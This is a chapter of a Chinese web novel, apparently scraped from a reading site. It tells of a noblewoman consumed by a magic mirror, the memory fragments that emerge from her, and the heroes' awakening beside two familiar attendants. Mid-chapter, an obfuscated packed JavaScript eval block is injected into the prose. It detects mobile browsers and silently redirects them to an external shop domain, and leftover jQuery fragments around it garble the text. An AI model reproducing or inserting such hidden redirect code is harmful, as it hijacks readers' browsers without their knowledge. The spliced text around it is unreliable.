文趣网 > 其他小说 > 灭世反派决定去写童话 > 70. 知墨·观棋
    问尘镜被放在了风雅颂床榻对面的梳妆台上,正对着她每日醒来第一眼看见的位置。

    “他们不该将它搬进拂柳阁的,”应珍摇着头,“那面镜子在库房的时候,她好歹要走一段路才能看见它;现在它就在她眼前,睁眼就能看见,连挣扎的机会都没有了。”

    钟离忆离开钟离宫的第三天,风雅颂便整夜整夜地睡不着了,她只能坐在床沿上盯着那面问尘镜。

    烛火燃尽了,她也不叫人添——问尘镜本身就能发出灼灼光芒,照得人眼睛生疼,却也让人移不开目光。

    钟离赋从前殿回来时,看见的就是这副光景。

    他没有说什么,只是走到风雅颂身边,将一件外衫披在她肩上,然后坐在她身侧,握住她冰凉的手。

    “颂儿,睡吧。”

    “我不困。”

    “你已经两天没有合眼了。”

    风雅颂不再理会钟离赋了,她的目光始终钉在那面镜子上,镜面澄澈通透,明亮如水,映照出两人的容貌。

    钟离赋沉默了很久,然后说了一句:“那我陪你。”

    然后他就坐在她身边,握着她的手,一夜没有松开。

    应珍看着钟离赋的背影——他的肩膀微微前倾,头低着,像是被什么东西压着。

    她忽然觉得,与其说这个男人是在陪风雅颂,倒不如说他是在用自己的身体挡住那面镜子。

    但他挡不住,因为那面镜子已经长进了风雅颂的眼睛里。

    就像他们挡不住转动的命运齿轮,碾过血肉,将过往变成这齿轮上的一抹锈。

    这股推着日月旋转的力量,从未因谁的泪水而停歇半刻。

    逐渐地,风雅颂开始对着镜子说话,像对一个老朋友那样,轻声细语地说。

    “夫君今天夸我好看,你说,我现在是钟离宫最好看的人了吗?”

    “今天外面下雪了,我好冷啊。”

    镜面依旧亮荧荧的,只是没有任何回应。

    而风雅颂像是在等一个回答,等了很久,然后点了点头,像是听见了什么。

    钟离赋搬了个案台放在拂柳阁,将宫中事务也搬了过去,就坐在她身侧。

    最初他听见风雅颂的这些话时,手中的笔还会停顿很久,而现在他已经能做到不甚在意继续批阅公文。

    逐渐地,风雅颂开始分不清白天和黑夜。

    她会在半夜叫青禾进来,问她“天怎么还不亮”;也会在正午的时候吹灭蜡烛,说“该睡了”,像是一株被连根拔起的植物,叶子还在绿,但根已经烂了。

    钟离赋放下了前殿几乎所有需要面见内臣的政务,整日整日地陪在她身边。

    他批卷宗的时候坐在她旁边,她看着镜子,他看着她。

    钟离赋需要时不时地叫她一声“颂儿”,以确保她还“在”。

    风雅颂每次也会转过头来看他,眼神迷茫一瞬,然后慢慢聚焦,露出一个浅浅的笑。

    “怎么了?”

    “没什么,就想叫你一声。”

    风雅颂有时会伸出手,碰一碰他的手指,然后转回头,继续看那面镜子。

    “她撑不了几天了,”晏斐看着这一切,心里越来越急,“她的魂魄在散。”

    “但我们什么也做不了,”应珍也注视着那面问尘镜,而它在应珍眼里只是一面普通的镜子,“那面镜子在吸食她的魂魄。”

    “并不是,”魏衔青叹了口气,“是她在把自己的魂魄喂给问尘镜,只是她不知道罢了。无忧潭水制成的镜子从来不会主动索取,而是等待她的信徒上供,这样它获得的一切才不会被收回……”

    “不对,风雅颂,她比任何人都希望自己是完整的,她决不会将自己的魂魄主动喂给问尘镜。”

    晏斐握紧了剑柄:“那为何……”

    魏衔青继续说道:“因为风雅颂背负的东西太多了,所以她不得不将一部分难以承受的记忆剥离,但她不能将这些记忆丢弃,而问尘镜就是最好的载体,只是她不知该如何将被暂存在其中的记忆取出。”

    “所以,”晏斐抚摸着镜子边缘的花纹,“她在等,等有人能将她的记忆从问尘镜中取出,还给她,也还给所有人。”

    “是的,她等的人,就是我们。”应珍走到拂柳阁的廊下,这里能看见拂柳阁的一切,看着镜子的风雅颂,看着风雅颂的钟离赋,以及看着他们的魏衔青和晏斐,“问尘镜照的不仅仅是她,它照的是她心底的那个洞。”

    风雅颂心底有一个洞,从风家堡的时候就开始了,那个洞太深了,深到她自己都不知道它的存在。

    而她一直在往那个洞里填东西——付比兴的爱,钟离赋的爱,钟离忆的爱,宫主夫人的权力,但那个洞却始终填不满。

    现在,她要将照出那个洞的镜子封住,用她自己的记忆和魂魄。

    这样,她就可以看不见她心底的那个洞,这样她就永远会是完美的风家女儿和宫主夫人了。

    今夜月亮很好,月光从窗棂的缝隙里漏进来,在青石地面上画出一道道银白的格子。

    风雅颂坐在床沿上,钟离赋坐在她旁边,一只手握着她的手,另一只手撑在膝盖上,下巴微微垂着,他太累了,已经打起了盹。

    风雅颂忽然站了起来,她的手从钟离赋掌中滑脱,动作很轻,没有惊醒他,她走到问尘镜前,站定。

    镜面在月光下泛着幽冷的光,灰蒙蒙的雾气缓缓流转,像一只半睁的眼睛。

    风雅颂看着镜中的自己,屏住呼吸。

    应珍看见风雅颂的瞳孔在放大,眼眶里的光在一点一点地熄灭——那不是“在看”的眼神,那是“在被看”的眼神。

    风雅颂的嘴唇动了动:“你是谁?”

    “你不是我!”她的声音大了些,笃定又绝望,“不,是我不是你!我不是你,我不是你!”

    她一遍一遍地重复,声音越来越大,越来越急促,像是想用语言把什么东西驱赶走。

    钟离赋被惊醒了,他猛地站起来,看见风雅颂站在镜子前,双手撑着镜框,整个人的身体绷得像一张拉满的弓。

    “颂儿!”他冲过去,从后面抱住她。

    “那里面的人不是我!”风雅颂喊出了这一句。

    声音尖锐得像一把刀子,划破了拂柳阁的寂静。

    钟离赋抱着她的手一僵,他看向那面镜子,镜面上灰蒙蒙的雾气疯狂地翻涌,然后,他看见了镜中的那个人。

    那个人穿着和风雅颂一样的衣裳,梳着和风雅颂一样的发髻,长得和风雅颂一模一样。

    但那张脸——那张脸在笑,笑得温柔,笑得得体,笑得恰到好处,这是风家堡教出来的标准笑容。

    而风雅颂已经很久没有那样笑了,至少在离开风家堡之后,她再也没有那样笑过。

    “她不是你,那她是谁?”钟离赋的声音发紧。

    风雅颂没有回答,她的身体猛地一颤,然后软了下去,像断了线的木偶。

    就在那一刻,三块碎片从风雅颂的心口飞出来,像是那面镜子吞噬了太久,终于嚼不动了,将它们吐了出来。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610655|205924||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    三块碎片发着微弱的珍珠色的光,在月光下缓缓旋转。

    一块来自风家堡的廊下,风雅颂低头捡着碎瓷片,手指被割破,鲜血滴在青石地上。

    一块来自钟离宫的正殿,风雅颂与钟离赋执手共进,接受钟离宫人的拜谒。

    一块来自拂柳阁的廊下,风雅颂抱着钟离忆,说“忆儿是阿娘的宝贝”。

    三块碎片。

    三段记忆。

    三个风雅颂。

    它们在空中停留了一瞬,然后朝着应珍的方向飞了过来。

    应珍伸出手,碎片落入她的掌心,冰凉而沉重,像是三滴凝固的眼泪。它们在她手心里微微震颤,然后融入了她的皮肤。

    与此同时,一股巨大的力量将应魏晏三人从那面镜子中推了出去,应珍听见钟离赋的声音越来越远——“颂儿!颂儿!你醒醒!”。

    而后一切归于寂静。

    应珍睁开眼睛,她躺在钟离宫正殿的冰冷地面上,头顶是繁复的藻井,烛火在夜风中微微摇曳。

    她撑着地面坐起来,目光扫过柱子、香炉、铺着锦垫的座椅——然后她看见了。

    钟离赋坐在左侧的椅子上,手里端着一盏茶,他的对面,隔着一条矮几,坐着两个人。

    应珍一怔,这两人她认识。

    知墨和观棋。

    知墨双手捧着一盏茶,茶盖半合,氤氲的热气模糊了她清秀寡淡的面容,她偶尔低头抿一口,动作极轻,几乎没有声响。

    观棋则将那盏茶放在桌上,一口也没有喝,她的一只撑着脑袋,另一只手随意地搁在椅扶手上。

    应珍看着这一幕,有一瞬间的恍惚,她没有说话,殿中安静得只剩下烛芯燃烧时偶尔发出的细微噼啪声。

    知墨和观棋虽也是她的护法,但她们和拂花不一样,她们是师父给她的人。

    应珍与她们从小一起长大,但她却从来不知她们竟与钟离宫如此熟稔。能和钟离宫主同席而坐,共饮一壶茶,他们之间关系匪浅。

    魏衔青和晏斐也相继苏醒,他们也都认得知墨和观棋。

    三人面面相觑,应珍动了动手指,指尖划过青石地面,发出一声细微的摩擦声。

    观棋最先听见,她侧头看着声音发出的方向,立马站了起来:“门主!”

    知墨也看见了,她将茶盏轻轻搁在矮几上,茶盖合好,也起身往应珍走来。

    “你们怎么在这里?”应珍的声音有些哑,久别重逢,她从未想过她对她们说出的第一句话是质问。

    这个时间,这个地点,镜中的那段过往,应珍很难不怀疑她们。

    “是宗主让我们来钟离宫寻门主的,”知墨恭敬地说道,“她说有要事需要嘱咐您。”

    “师父?她老人家为何不亲自和我说?”

    “宗主在钟离宫等了您半日,得知您在问尘镜中无法出来,便让我们转述她的话。”

    “说吧。”

    “……宗主下了禁制,等您将五片魂魄碎片物归原主,我们才能开口。”

    应珍转头看着钟离赋殷切的眼睛,沉默了片刻:“还请钟离宫主带我等去见夫人。”

    前往拂柳阁的甬道里,应珍想,风雅颂的魂魄终于能够修复完整了。

    但她并不知道这是好事还是坏事。

    那些被撕碎的记忆重新拼合之后,风雅颂会变成什么样子。

    是变回那个勇敢逃出风家堡的少女,还是继续被困在钟离宫女主人的身份里,自我囚禁,被自己分裂出来的另一个自己所取代?